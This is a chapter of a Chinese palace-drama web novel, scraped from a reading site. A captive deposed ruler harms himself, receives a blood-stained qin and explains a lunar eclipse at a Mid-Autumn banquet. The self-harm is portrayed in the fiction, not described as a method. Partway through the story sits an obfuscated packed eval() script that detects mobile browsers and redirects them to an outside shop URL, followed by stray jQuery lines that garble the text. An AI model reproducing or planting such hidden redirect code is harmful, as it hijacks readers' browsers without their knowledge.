默认冷灰
24号文字
方正启体

4. 凶象

作者:秋鹤知本书字数:K更新时间:
    孟昭川看完谢辞君吃饭,又来承乐楼看姜令吃饭,两人一对比,还是看谢辞君吃饭要舒服些。


    姜令吃饭,简直和服毒没什么区别。


    分明御厨是天下最好的厨师,做出来的东西是天下数一数二的美味,可在姜令碗中,倒像是耗子药。


    孟昭川盯着姜令吃完,自己在桌案上批奏折,姜令时不时看着她,孟昭川只是甩他一记眼刀,“好好吃饭”


    姜令又乖乖去“服饭”。


    好不容易吃完了,侍从过来收拾,孟昭川将江南收成、建筑的奏折甩给了姜令。


    姜令打开奏折,都是些官员的事宜安排,有去江南建造学宫的,有去开荒督田的,也有去修建水利的。


    姜令平静地扫看着折子,合上放在桌上。


    “你何苦再拿这些给我”


    “如果你有心,我希望你能帮我”


    姜令轻蔑一笑,他觉得孟昭川像是开玩笑一样,“帮你?你凭什么觉得我会帮你”


    “凭你心系江南百姓,不会让我肆意妄为”孟昭川视线看向姜令方才翻阅的书籍,是《农册》,专门记载四季时令的耕作事务。


    良久,姜令收了轻蔑的神情,他看向孟昭川。


    “陛下想我怎样帮你?”


    “我不了解江南,所以在治理方面,还要仰仗些你的帮助。”


    姜令还是默许了,孟昭川起身,去拿姜令手上的奏折,在双手交错的一瞬间,孟昭川看到姜令手腕上一道道新伤。


    新伤结了痂,一道道凸起,看得让人难受。


    孟昭川眉心一蹙,看向姜令。


    年轻帝王轮廓分明的脸,在四面阳光的宫室里显得惨白不堪,他像是假扮人的活鬼。


    分明让人把他室内的尖锐器具都拿走了,他用什么来伤害自己的?


    孟昭川想错了。人在想着伤害自己时,什么都能成为凶器。


    姜令一切的行为都在告诉她,他不想活。


    孟昭川收了奏折,头也没回离开了承玉楼。


    她有些喘不过气,她不是没杀过人,她手上沾染了太多鲜血,但唯独姜令,唯独姜令,她分明没杀死他。


    她又好像杀死了他。


    “陛下”回到凤鸾殿,王铮跟孟昭川行礼,孟昭川难得喘口气,看到凤鸾殿桌案上多了一个箱子。


    “这是什么”孟昭川问着王铮。


    “回陛下,是北朝使臣送来的九霄环石琴”


    北朝森林众多,竹材丰富,制造的古琴极其精妙,琴漆色泽若玉,琴弦刚韧,琴音若潺潺流水,精妙万分。


    孟昭川打开琴盒,石琴平稳躺在木架上,朱漆红似血,铺洒一样在琴上喷开,孟昭川为之一颤,险些站不住,那石琴像是鲜血淋漓的鬼,又像是遍体鳞伤的人。


    “这是,琴匠所制吗?”


    “回陛下,并非琴匠所制”王铮答道,“按理说,大多数琴师是不会制琴的,可这位不一样,这位琴匠乐声绝伦,被当地强贵骗入家中幽禁,又将他妻子欺辱后杀死,琴师不堪受辱,用此琴诱骗杀死了那个富人,而后去官府自首,当地官员拿到此琴,未想到,这上面血迹如何都擦不掉,擦琴的老妇手都擦红了,硬是擦不掉血迹”


    “有位琴师偶然路过,为此琴上了个不知何处而来的漆粉,将这血固定住,经此百年,此石琴鲜血不枯,实乃罕见,北朝一直奉为镇国五宝之一,特此献来”


    王铮说完,看着孟昭川不说话,以为自己说错什么了,立马跪了下来,“陛下降罪,是小人多嘴了”


    “把这琴拿去承玉楼,就说是朕赠给归命侯的”孟昭川告诉王铮,王铮也不敢多言,忙着收了琴盒去承玉楼。


    不一会儿,孟昭川看到回来的王铮。


    “回陛下,已交到归命侯手中了”


    “他可有说什么”


    “他…他看了一眼,好像笑了一下,不知是不是小人眼花看错了”


    估计是苦笑。


    孟昭川知道,北朝和苏国交好,姜令博学多知,不会不知道这琴的意思。


    怀璧其罪。姜令,你会这样想吗?


    他肯定会这样觉得的,他把琴身上的鲜血视作自己抹不去的长恨,把清越的琴声视作苦痛的呐喊。


    果不其然,孟昭川晚上在御花园外散步,听到一阵清越的琴声。


    “何处奏琴?”孟昭川侧首问着秋萍。


    “回陛下,归命侯”


    卫国多爱鼓乐的激昂嘹亮之声,苏国则恰好相反,苏国百姓善琴,所奏的大多是缓缓若水的琴音,听者心醉。


    卫国民间大夫,总爱把这种声音视为亡国之音,袅袅若丝,听之心折。


    姜令的琴声让孟昭川有些踌躇,他肆意的声音穿过一道道宫墙,扎在孟昭川心口,他怎能不恨呢,亡国之痛,囚禁之位。


    孟昭川往日都会在御花园逛上一会再回,今日不到一炷香,孟昭川就不想待在这了。


    “回去吧”


    孟昭川坐在凤轿上,总是想着姜令手上的一道道长疤,她是不是不该这样困住他?


    亭外的秋树脱落了层层的外叶,上京城成了一片秋黄。


    中秋将至,宫中女使宦官做了好些月饼,孟昭川照例要开中秋晚宴,她这次,想把姜令接出来看看。


    夜晚将至,上京城外响起喧嚣的烟花声,朵朵烟火在城空绽放,火花将夜空勾勒得亮丽非常。


    姜令每夜都在宫内抚琴,故国的琴声,他好些都忘了,就一曲《离人殇》,他记得还是清楚的。


    “江南是否过着中秋”姜令有些怀念了,画舫肯定又是一夜的喧闹,他站在华锦楼,能看到云映城灯火辉煌的中秋夜。


    姜令推开窗,飘来一片枯落的秋叶,姜令握在手上,枯叶碎开,又掉在地上。


    “分明是易碎的,还要再枯落一层才甘休吗”姜令似是在嘲着枯叶,又像是在嘲讽自己。


    “归命侯请吧,陛下有旨,邀您共度秋月宴”王铮站在楼外的走廊上说着。


    姜令不想去,圣旨难违,他如今是他人圈养的一只金兽,拒绝是做不到的。


    姜令没有更衣,随意将散发一挽,跟着王铮走出殿外。


    王铮请他上轿,姜令摇摇头,“步行吧,我还未曾仔细看这紫禁城呢”


    王铮带着姜令走了一圈,姜令穿着普通的布鞋,脚都走的有些酸痛,他不知这紫禁城如此之大,宫墙如此之高,人像是城内的走兽,困锁在笼中,出不去。


    天有些黑了,宫内四处有太监点灯的身影,一处处的谧境被点亮,一阵激昂的鼓声传来,时远时近,等到听近的时候,姜令才知道自己走到了。


    “到了,大人请就座吧”王铮恭敬地给姜令做了个请的动作,姜令一脚踏进紫宸宫内,坐席已然满人,只有凤椅身旁还有一处空位。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103011|195759||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    姜令一袭白衣,和穿金戴紫的一些人不同,他在月色下显得格外不同,像是仙子降落尘间,变成颓然的一副凡人,仙气未失,只是毫无灵气了。


    姜令没有对任何人叩拜,他只是走到席中央,给孟昭川行了跪拜之礼,姜令来的这些天,谁也没行过礼,整个上京城,乃至卫国,他只觉得要对孟昭川行礼。


    就足够了。


    姜令每每出现,周围的人总是一脸疑嫌之色,姜令之于卫国,是一个负担一样的存在,他们不知道留下他有什么好处。


    孟昭川见了姜令,见他依旧是惨白的一副神色,好像席中歌舞升平和他毫不相干,他是尘世外的人。


    “赐酒”孟昭川吩咐着秋萍,秋萍赶忙过去给姜令倒酒,姜令坐在孟昭川身旁,谢辞君坐在姜令之下,他眼神一刻也没离开过姜令。


    姜令落座,看到面前的月饼,一时呆在原地。


    是江南的的糖霜月饼。


    亮泽的糖霜淋在饼酥上,姜令看着四周桌上的,大多都是寻常的月饼,只有自己面前这盘,上面淋了一些糖霜。


    孟昭川特意命人做的,姜令估计吃不来卫国的咸口月饼,有的里面包着肉,吃起来还有些腥味。


    将近戌时三刻,圆月当空,月亮边缘却出现一道细微的暗影。


    钦天监监正正坐在右席上,他皱了皱眉头,猛地起身,声音有些颤抖,“月…月食——”


    席上一片死寂,随即即是哗然一片。


    “大凶之兆!”


    “国有大难呐!”


    只见一人突然开口,“我朝月食极少,定然是敌国余孽未清,上天降祸!”


    一片混乱中,谢辞君看向孟昭川,她只是抬头看着天色,目光晦暗,她望向姜令,他沉稳不惊,拿着裹满糖霜的月饼咬食着,凌厉的侧脸在昏暗的天光下显得非常平静。


    月亮被吞食近半,谢辞君命人燃起灯烛。


    鲜亮的灯光依然没有烧灭恐慌的蔓延,有臣子跪地叩首:“陛下!请即诛不祥,以安天心!”


    所指不言而喻。


    沉默许久的姜令却突然起身。


    他没有跪,没有辩,甚至没有看那些个指控自己的人。他走到殿门处,仰面直视正被黑暗侵蚀的月亮,清冷的声音平静地说着,


    “月行黄道,乃自然之理”


    “《算经》有载,太初以来,月食凡四百七十九次。高祖三年、景帝八年、明帝永平四年……皆有食。”说到这里,他转身回头,扫视一眼席上的众人,“若食则为凶,”


    “那高祖开国振邦、景帝拓边开荒、明帝治世通理,岂非皆在‘凶年’?”


    满殿死寂。只有他平稳的声音。


    “今岁八月,月行过迟三刻。臣七日前观星,推得戌时三刻当食。非关人事,只是数理。”姜令回席,拿了席中的一壶酒,径直走出殿外,众人只是目送着他的身影,一时说不出话来。


    众人的目光落在孟昭川身上,她视线跟随着姜令远去的背影。


    孟昭川不信什么凶象天命。她本就得位不正,又何谈天命不天命?


    若是信了,那才有鬼。她孟昭川谋权篡位,岂不是要去投河自尽方是天命所指?


    前朝的钦天监,她一向当成吃闲饭的工具对待。


    姜令今日一番话,孟昭川不知道,是在跟他自己解围,还是给孟昭川一个台阶下。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)